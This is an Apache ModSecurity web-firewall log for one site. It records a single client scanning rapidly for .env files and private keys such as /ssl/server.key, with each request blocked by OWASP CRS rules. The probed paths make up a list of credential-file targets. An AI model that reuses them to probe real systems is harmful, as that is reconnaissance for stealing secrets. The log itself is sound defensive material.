[Sun Oct 25 14:01:41.458168 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at5EBbc82c1J4zoyxalWngAAAAI"]
[Sun Oct 25 14:01:41.453460 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at5EBf1CbQghwAu-zzMCQQAAACA"]
[Sun Oct 25 14:01:41.458616 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at5EBf1CbQghwAu-zzMCQQAAACA"]
[Sun Oct 25 14:01:41.458929 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at5EBf1CbQghwAu-zzMCQQAAACA"]
[Sun Oct 25 14:01:41.453525 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /etc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at5EBe6EytsuoC67cD91igAAAAE"]
[Sun Oct 25 14:01:41.459313 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at5EBe6EytsuoC67cD91igAAAAE"]
[Sun Oct 25 14:01:41.459572 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at5EBe6EytsuoC67cD91igAAAAE"]
[Sun Oct 25 14:01:41.460460 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.www"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at5EBSjnAS4eJh-ada2NHgAAAA0"]
[Sun Oct 25 14:01:41.460629 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at5EBSjnAS4eJh-ada2NHgAAAA0"]
[Sun Oct 25 14:01:41.460852 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at5EBSjnAS4eJh-ada2NHgAAAA0"]
[Sun Oct 25 14:01:41.454108 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at5EBYIGIq5euXyTbvT1OAAAACQ"]
[Sun Oct 25 14:01:41.461306 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at5EBYIGIq5euXyTbvT1OAAAACQ"]
[Sun Oct 25 14:01:41.461521 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at5EBYIGIq5euXyTbvT1OAAAACQ"]
[Sun Oct 25 14:01:41.466251 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at5EBaYYcNPV1bnoekNX8AAAAAQ"]
[Sun Oct 25 14:01:41.466407 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at5EBaYYcNPV1bnoekNX8AAAAAQ"]
[Sun Oct 25 14:01:41.466671 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at5EBaYYcNPV1bnoekNX8AAAAAQ"]
[Sun Oct 25 14:01:41.472260 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at5EBW1d3XiN0G_LuszDsAAAAAY"]
[Sun Oct 25 14:01:41.472471 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at5EBW1d3XiN0G_LuszDsAAAAAY"]
[Sun Oct 25 14:01:41.472839 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at5EBW1d3XiN0G_LuszDsAAAAAY"]
[Sun Oct 25 14:01:41.473919 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at5EBQ99Fkrvw6SgmfSw4QAAAAM"]
[Sun Oct 25 14:01:41.474165 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at5EBQ99Fkrvw6SgmfSw4QAAAAM"]
[Sun Oct 25 14:01:41.474432 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at5EBQ99Fkrvw6SgmfSw4QAAAAM"]
[Sun Oct 25 14:01:41.476139 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at5EBQ1D5604vyZoHXzbdQAAAAU"]
[Sun Oct 25 14:01:41.476348 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at5EBQ1D5604vyZoHXzbdQAAAAU"]
[Sun Oct 25 14:01:41.476656 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at5EBQ1D5604vyZoHXzbdQAAAAU"]
[Sun Oct 25 14:01:41.485084 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/host.key"] [unique_id "at5EBYIGIq5euXyTbvT1OQAAACQ"]
[Sun Oct 25 14:01:41.485365 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/host.key"] [unique_id "at5EBYIGIq5euXyTbvT1OQAAACQ"]
[Sun Oct 25 14:01:41.485612 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/host.key"] [unique_id "at5EBYIGIq5euXyTbvT1OQAAACQ"]
[Sun Oct 25 14:01:41.487282 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.github/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD6wAAAAk"]
[Sun Oct 25 14:01:41.487456 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD6wAAAAk"]
[Sun Oct 25 14:01:41.487722 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD6wAAAAk"]
[Sun Oct 25 14:01:41.488645 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at5EBbc82c1J4zoyxalWnwAAAAI"]
[Sun Oct 25 14:01:41.488925 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at5EBbc82c1J4zoyxalWnwAAAAI"]
[Sun Oct 25 14:01:41.489136 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at5EBbc82c1J4zoyxalWnwAAAAI"]
[Sun Oct 25 14:01:41.489751 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at5EBe6EytsuoC67cD91iwAAAAE"]
[Sun Oct 25 14:01:41.490073 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at5EBe6EytsuoC67cD91iwAAAAE"]
[Sun Oct 25 14:01:41.490372 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at5EBe6EytsuoC67cD91iwAAAAE"]
